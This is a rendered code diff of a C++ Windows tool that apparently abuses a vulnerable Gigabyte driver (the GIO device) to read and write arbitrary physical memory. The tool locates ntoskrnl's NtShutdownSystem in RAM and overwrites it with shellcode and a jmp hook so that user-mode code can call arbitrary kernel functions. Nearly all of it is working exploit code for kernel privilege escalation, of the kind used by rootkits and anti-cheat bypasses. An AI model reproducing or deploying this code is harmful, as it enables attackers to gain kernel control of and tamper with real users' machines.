||||||
|
{
|
||||||
|
inline std::map<std::uintptr_t, std::size_t> pmem_ranges{};
|
||||||
|
__forceinline auto is_valid(std::uintptr_t addr) -> bool
|
||||||
|
{
|
||||||
|
for (auto range : pmem_ranges)
|
||||||
|
if (addr >= range.first && addr <= range.first + range.second)
|
||||||
|
return true;
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Author: Remy Lebeau
|
||||||
|
// taken from here: https://stackoverflow.com/questions/48485364/read-reg-resource-list-memory-values-incorrect-value
|
||||||
|
static const auto init_ranges = ([&]() -> bool
|
||||||
|
{
|
||||||
|
HKEY h_key;
|
||||||
|
DWORD type, size;
|
||||||
|
LPBYTE data;
|
||||||
|
|
||||||
|
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "HARDWARE\\RESOURCEMAP\\System Resources\\Physical Memory", 0, KEY_READ, &h_key);
|
||||||
|
RegQueryValueEx(h_key, ".Translated", NULL, &type, NULL, &size); //get size
|
||||||
|
data = new BYTE[size];
|
||||||
|
RegQueryValueEx(h_key, ".Translated", NULL, &type, data, &size);
|
||||||
|
DWORD count = *(DWORD*)(data + 16);
|
||||||
|
auto pmi = data + 24;
|
||||||
|
|
||||||
|
for (int dwIndex = 0; dwIndex < count; dwIndex++)
|
||||||
|
{
|
||||||
|
pmem_ranges.emplace(*(uint64_t*)(pmi + 0), *(uint64_t*)(pmi + 8));
|
||||||
|
pmi += 20;
|
||||||
|
}
|
||||||
|
|
||||||
|
delete[] data;
|
||||||
|
RegCloseKey(h_key);
|
||||||
|
return true;
|
||||||
|
})();
|
||||||
|
|
||||||
|
__forceinline auto get_file_header(void* base_addr) -> PIMAGE_FILE_HEADER
|
||||||
|
{
|
||||||
|
PIMAGE_DOS_HEADER dos_headers =
|
||||||
|
reinterpret_cast<PIMAGE_DOS_HEADER>(base_addr);
|
||||||
|
|
||||||
|
PIMAGE_NT_HEADERS nt_headers =
|
||||||
|
reinterpret_cast<PIMAGE_NT_HEADERS>(
|
||||||
|
reinterpret_cast<DWORD_PTR>(base_addr) + dos_headers->e_lfanew);
|
||||||
|
|
||||||
|
return &nt_headers->FileHeader;
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline auto get_module_base(const char* module_name) -> std::uintptr_t
|
||||||
|
{
|
||||||
|
void* buffer = nullptr;
|
||||||
|
DWORD buffer_size = NULL;
|
||||||
|
|
||||||
|
auto status = NtQuerySystemInformation(
|
||||||
|
static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation),
|
||||||
|
buffer, buffer_size, &buffer_size);
|
||||||
|
|
||||||
|
while (status == STATUS_INFO_LENGTH_MISMATCH)
|
||||||
|
{
|
||||||
|
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||||
|
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||||
|
status = NtQuerySystemInformation(
|
||||||
|
static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation),
|
||||||
|
buffer, buffer_size, &buffer_size);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!NT_SUCCESS(status))
|
||||||
|
{
|
||||||
|
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
|
||||||
|
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
|
||||||
|
{
|
||||||
|
const std::string current_module_name = std::string(reinterpret_cast<char*>(modules->Modules[idx].FullPathName) + modules->Modules[idx].OffsetToFileName);
|
||||||
|
if (!_stricmp(current_module_name.c_str(), module_name))
|
||||||
|
{
|
||||||
|
const uint64_t result = reinterpret_cast<uint64_t>(modules->Modules[idx].ImageBase);
|
||||||
|
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline auto get_kernel_export(const char* module_name, const char* export_name, bool rva = false) -> void*
|
||||||
|
{
|
||||||
|
void* buffer = nullptr;
|
||||||
|
DWORD buffer_size = NULL;
|
||||||
|
|
||||||
|
NTSTATUS status = NtQuerySystemInformation(
|
||||||
|
static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation),
|
||||||
|
buffer,
|
||||||
|
buffer_size,
|
||||||
|
&buffer_size
|
||||||
|
);
|
||||||
|
|
||||||
|
while (status == STATUS_INFO_LENGTH_MISMATCH)
|
||||||
|
{
|
||||||
|
VirtualFree(buffer, 0, MEM_RELEASE);
|
||||||
|
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||||
|
status = NtQuerySystemInformation(
|
||||||
|
static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation),
|
||||||
|
buffer,
|
||||||
|
buffer_size,
|
||||||
|
&buffer_size
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!NT_SUCCESS(status))
|
||||||
|
{
|
||||||
|
VirtualFree(buffer, 0, MEM_RELEASE);
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
|
||||||
|
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
|
||||||
|
{
|
||||||
|
// find module and then load library it
|
||||||
|
const std::string current_module_name =
|
||||||
|
std::string(reinterpret_cast<char*>(
|
||||||
|
modules->Modules[idx].FullPathName) +
|
||||||
|
modules->Modules[idx].OffsetToFileName
|
||||||
|
);
|
||||||
|
|
||||||
|
if (!_stricmp(current_module_name.c_str(), module_name))
|
||||||
|
{
|
||||||
|
std::string full_path = reinterpret_cast<char*>(modules->Modules[idx].FullPathName);
|
||||||
|
full_path.replace(full_path.find("\\SystemRoot\\"),
|
||||||
|
sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\"));
|
||||||
|
|
||||||
|
const auto module_base =
|
||||||
|
LoadLibraryEx(
|
||||||
|
full_path.c_str(),
|
||||||
|
NULL,
|
||||||
|
DONT_RESOLVE_DLL_REFERENCES
|
||||||
|
);
|
||||||
|
|
||||||
|
PIMAGE_DOS_HEADER p_idh;
|
||||||
|
PIMAGE_NT_HEADERS p_inh;
|
||||||
|
PIMAGE_EXPORT_DIRECTORY p_ied;
|
||||||
|
|
||||||
|
PDWORD addr, name;
|
||||||
|
PWORD ordinal;
|
||||||
|
|
||||||
|
p_idh = (PIMAGE_DOS_HEADER)module_base;
|
||||||
|
if (p_idh->e_magic != IMAGE_DOS_SIGNATURE)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
p_inh = (PIMAGE_NT_HEADERS)((LPBYTE)module_base + p_idh->e_lfanew);
|
||||||
|
if (p_inh->Signature != IMAGE_NT_SIGNATURE)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
if (p_inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
p_ied = (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)module_base +
|
||||||
|
p_inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
||||||
|
|
||||||
|
addr = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfFunctions);
|
||||||
|
name = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfNames);
|
||||||
|
ordinal = (PWORD)((LPBYTE)module_base + p_ied->AddressOfNameOrdinals);
|
||||||
|
|
||||||
|
// find exported function
|
||||||
|
for (auto i = 0; i < p_ied->AddressOfFunctions; i++)
|
||||||
|
{
|
||||||
|
if (!strcmp(export_name, (char*)module_base + name[i]))
|
||||||
|
{
|
||||||
|
if (!rva)
|
||||||
|
{
|
||||||
|
auto result = (void*)((std::uintptr_t)modules->Modules[idx].ImageBase + addr[ordinal[i]]);
|
||||||
|
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
auto result = (void*)addr[ordinal[i]];
|
||||||
|
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
}
|
||||||
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,141 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <windows.h>
|
||||||
|
#include <cstdint>
|
||||||
|
|
||||||
|
#include "../util/util.hpp"
|
||||||
|
#include "../util/loadup.hpp"
|
||||||
|
#include "raw_driver.hpp"
|
||||||
|
|
||||||
|
#define MAP_PHYSICAL 0xC3502004
|
||||||
|
#define UNMAP_PHYSICAL 0xC3502008
|
||||||
|
|
||||||
|
#pragma pack (push, 1)
|
||||||
|
typedef struct _gdrv_t
|
||||||
|
{
|
||||||
|
unsigned long interface_type;
|
||||||
|
unsigned long bus;
|
||||||
|
std::uintptr_t phys_addr;
|
||||||
|
unsigned long io_space;
|
||||||
|
unsigned long size;
|
||||||
|
} gdrv_t, *pgdrv_t;
|
||||||
|
#pragma pack (pop)
|
||||||
|
|
||||||
|
namespace vdm
|
||||||
|
{
|
||||||
|
inline HANDLE drv_handle;
|
||||||
|
__forceinline auto load_drv() -> std::pair <HANDLE, std::string>
|
||||||
|
{
|
||||||
|
const auto [result, key] =
|
||||||
|
driver::load(
|
||||||
|
vdm::raw_driver,
|
||||||
|
sizeof(vdm::raw_driver)
|
||||||
|
);
|
||||||
|
|
||||||
|
if (!result) return { {}, {} };
|
||||||
|
|
||||||
|
vdm::drv_handle = CreateFile(
|
||||||
|
"\\\\.\\GIO",
|
||||||
|
GENERIC_READ | GENERIC_WRITE,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
OPEN_EXISTING,
|
||||||
|
FILE_ATTRIBUTE_NORMAL,
|
||||||
|
NULL
|
||||||
|
);
|
||||||
|
|
||||||
|
return { vdm::drv_handle, key };
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline bool unload_drv(HANDLE drv_handle, std::string drv_key)
|
||||||
|
{
|
||||||
|
return CloseHandle(drv_handle) && driver::unload(drv_key);
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline bool read_phys(void* addr, void* buffer, std::size_t size)
|
||||||
|
{
|
||||||
|
if (!util::is_valid(reinterpret_cast<std::uintptr_t>(addr)))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
gdrv_t in_buffer;
|
||||||
|
in_buffer.bus = NULL;
|
||||||
|
in_buffer.interface_type = NULL;
|
||||||
|
in_buffer.phys_addr = reinterpret_cast<std::uintptr_t>(addr);
|
||||||
|
in_buffer.io_space = NULL;
|
||||||
|
in_buffer.size = size;
|
||||||
|
|
||||||
|
void* out_buffer[2] = { 0 };
|
||||||
|
unsigned long returned = 0;
|
||||||
|
|
||||||
|
if (!DeviceIoControl(
|
||||||
|
drv_handle,
|
||||||
|
MAP_PHYSICAL,
|
||||||
|
reinterpret_cast<void*>(&in_buffer),
|
||||||
|
sizeof in_buffer,
|
||||||
|
out_buffer,
|
||||||
|
sizeof out_buffer,
|
||||||
|
&returned, NULL
|
||||||
|
))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
__try
|
||||||
|
{
|
||||||
|
memcpy(buffer, out_buffer[0], size);
|
||||||
|
}
|
||||||
|
__except (EXCEPTION_EXECUTE_HANDLER)
|
||||||
|
{}
|
||||||
|
|
||||||
|
return DeviceIoControl(
|
||||||
|
drv_handle,
|
||||||
|
UNMAP_PHYSICAL,
|
||||||
|
reinterpret_cast<void*>(&out_buffer[0]),
|
||||||
|
sizeof out_buffer[0],
|
||||||
|
out_buffer,
|
||||||
|
sizeof out_buffer,
|
||||||
|
&returned, NULL
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline bool write_phys(void* addr, void* buffer, std::size_t size)
|
||||||
|
{
|
||||||
|
if (!util::is_valid(reinterpret_cast<std::uintptr_t>(addr)))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
gdrv_t in_buffer;
|
||||||
|
in_buffer.bus = NULL;
|
||||||
|
in_buffer.interface_type = NULL;
|
||||||
|
in_buffer.phys_addr = reinterpret_cast<std::uintptr_t>(addr);
|
||||||
|
in_buffer.io_space = NULL;
|
||||||
|
in_buffer.size = size;
|
||||||
|
|
||||||
|
void* out_buffer[2] = { 0 };
|
||||||
|
unsigned long returned = 0;
|
||||||
|
|
||||||
|
if (!DeviceIoControl(
|
||||||
|
drv_handle,
|
||||||
|
MAP_PHYSICAL,
|
||||||
|
reinterpret_cast<void*>(&in_buffer),
|
||||||
|
sizeof in_buffer,
|
||||||
|
out_buffer,
|
||||||
|
sizeof out_buffer,
|
||||||
|
&returned, NULL
|
||||||
|
))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
__try
|
||||||
|
{
|
||||||
|
memcpy(out_buffer[0], buffer, size);
|
||||||
|
}
|
||||||
|
__except (EXCEPTION_EXECUTE_HANDLER)
|
||||||
|
{}
|
||||||
|
|
||||||
|
return DeviceIoControl(
|
||||||
|
drv_handle,
|
||||||
|
UNMAP_PHYSICAL,
|
||||||
|
reinterpret_cast<void*>(&out_buffer[0]),
|
||||||
|
sizeof out_buffer[0],
|
||||||
|
out_buffer,
|
||||||
|
sizeof out_buffer,
|
||||||
|
&returned, NULL
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,88 @@
|
|||||||
|
#include "vdm_ctx.h"
|
||||||
|
|
||||||
|
namespace vdm
|
||||||
|
{
|
||||||
|
vdm_ctx::vdm_ctx()
|
||||||
|
{
|
||||||
|
nt_rva = reinterpret_cast<std::uint32_t>(
|
||||||
|
util::get_kernel_export(
|
||||||
|
"ntoskrnl.exe",
|
||||||
|
syscall_hook.first,
|
||||||
|
true
|
||||||
|
));
|
||||||
|
|
||||||
|
nt_page_offset = nt_rva % PAGE_4KB;
|
||||||
|
ntoskrnl_buffer = reinterpret_cast<std::uint8_t*>(
|
||||||
|
LoadLibraryEx("ntoskrnl.exe", NULL,
|
||||||
|
DONT_RESOLVE_DLL_REFERENCES));
|
||||||
|
|
||||||
|
// for each physical memory range, make a thread to search it
|
||||||
|
std::vector<std::thread> search_threads;
|
||||||
|
for (auto ranges : util::pmem_ranges)
|
||||||
|
search_threads.emplace_back(std::thread(
|
||||||
|
&vdm_ctx::locate_syscall,
|
||||||
|
this,
|
||||||
|
ranges.first,
|
||||||
|
ranges.second
|
||||||
|
));
|
||||||
|
|
||||||
|
for (std::thread& search_thread : search_threads)
|
||||||
|
search_thread.join();
|
||||||
|
}
|
||||||
|
|
||||||
|
void vdm_ctx::locate_syscall(std::uintptr_t address, std::uintptr_t length) const
|
||||||
|
{
|
||||||
|
const auto page_data =
|
||||||
|
reinterpret_cast<std::uint8_t*>(
|
||||||
|
VirtualAlloc(
|
||||||
|
nullptr,
|
||||||
|
PAGE_4KB, MEM_COMMIT | MEM_RESERVE,
|
||||||
|
PAGE_READWRITE
|
||||||
|
));
|
||||||
|
|
||||||
|
for (auto page = 0u; page < length; page += PAGE_4KB)
|
||||||
|
{
|
||||||
|
if (vdm::syscall_address.load())
|
||||||
|
break;
|
||||||
|
|
||||||
|
if (!vdm::read_phys(reinterpret_cast<void*>(address + page), page_data, PAGE_4KB))
|
||||||
|
continue;
|
||||||
|
|
||||||
|
// check the first 32 bytes of the syscall, if its the same, test that its the correct
|
||||||
|
// occurrence of these bytes (since ntoskrnl is loaded into physical memory at least 2 times now)...
|
||||||
|
if (!memcmp(page_data + nt_page_offset, ntoskrnl_buffer + nt_rva, 32))
|
||||||
|
if (valid_syscall(reinterpret_cast<void*>(address + page + nt_page_offset)))
|
||||||
|
syscall_address.store(
|
||||||
|
reinterpret_cast<void*>(
|
||||||
|
address + page + nt_page_offset));
|
||||||
|
}
|
||||||
|
|
||||||
|
VirtualFree(page_data, PAGE_4KB, MEM_DECOMMIT);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool vdm_ctx::valid_syscall(void* syscall_addr) const
|
||||||
|
{
|
||||||
|
static std::mutex syscall_mutex;
|
||||||
|
syscall_mutex.lock();
|
||||||
|
|
||||||
|
static const auto proc =
|
||||||
|
GetProcAddress(
|
||||||
|
GetModuleHandleA(syscall_hook.second),
|
||||||
|
syscall_hook.first
|
||||||
|
);
|
||||||
|
|
||||||
|
// 0: 48 31 c0 xor rax, rax
|
||||||
|
// 3 : c3 ret
|
||||||
|
std::uint8_t shellcode[] = { 0x48, 0x31, 0xC0, 0xC3 };
|
||||||
|
std::uint8_t orig_bytes[sizeof shellcode];
|
||||||
|
|
||||||
|
// save original bytes and install shellcode...
|
||||||
|
vdm::read_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
|
||||||
|
vdm::write_phys(syscall_addr, shellcode, sizeof shellcode);
|
||||||
|
|
||||||
|
auto result = reinterpret_cast<NTSTATUS(__fastcall*)(void)>(proc)();
|
||||||
|
vdm::write_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
|
||||||
|
syscall_mutex.unlock();
|
||||||
|
return result == STATUS_SUCCESS;
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,62 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <windows.h>
|
||||||
|
#include <string_view>
|
||||||
|
#include <vector>
|
||||||
|
#include <thread>
|
||||||
|
#include <atomic>
|
||||||
|
#include <mutex>
|
||||||
|
|
||||||
|
#include "../vdm/vdm.hpp"
|
||||||
|
|
||||||
|
namespace vdm
|
||||||
|
{
|
||||||
|
constexpr std::pair<const char*, const char*> syscall_hook = { "NtShutdownSystem", "ntdll.dll" };
|
||||||
|
inline std::atomic<bool> is_page_found = false;
|
||||||
|
inline std::atomic<void*> syscall_address = nullptr;
|
||||||
|
|
||||||
|
inline std::uint16_t nt_page_offset;
|
||||||
|
inline std::uint32_t nt_rva;
|
||||||
|
inline std::uint8_t* ntoskrnl_buffer;
|
||||||
|
|
||||||
|
class vdm_ctx
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
vdm_ctx();
|
||||||
|
template <class T, class ... Ts>
|
||||||
|
__forceinline std::invoke_result_t<T, Ts...> syscall(void* addr, Ts ... args) const
|
||||||
|
{
|
||||||
|
static const auto proc =
|
||||||
|
GetProcAddress(
|
||||||
|
GetModuleHandleA(syscall_hook.second),
|
||||||
|
syscall_hook.first
|
||||||
|
);
|
||||||
|
|
||||||
|
static std::mutex syscall_mutex;
|
||||||
|
syscall_mutex.lock();
|
||||||
|
|
||||||
|
// jmp [rip+0x0]
|
||||||
|
std::uint8_t jmp_code[] =
|
||||||
|
{
|
||||||
|
0xff, 0x25, 0x00, 0x00,
|
||||||
|
0x00, 0x00, 0x00, 0x00,
|
||||||
|
0x00, 0x00, 0x00, 0x00,
|
||||||
|
0x00, 0x00
|
||||||
|
};
|
||||||
|
|
||||||
|
std::uint8_t orig_bytes[sizeof jmp_code];
|
||||||
|
*reinterpret_cast<void**>(jmp_code + 6) = addr;
|
||||||
|
vdm::read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
|
||||||
|
|
||||||
|
// execute hook...
|
||||||
|
vdm::write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code);
|
||||||
|
auto result = reinterpret_cast<T>(proc)(args ...);
|
||||||
|
vdm::write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
|
||||||
|
|
||||||
|
syscall_mutex.unlock();
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
private:
|
||||||
|
void locate_syscall(std::uintptr_t begin, std::uintptr_t end) const;
|
||||||
|
bool valid_syscall(void* syscall_addr) const;
|
||||||
|
};
|
||||||
|
}
|
||||||
Loading…
Reference in new issue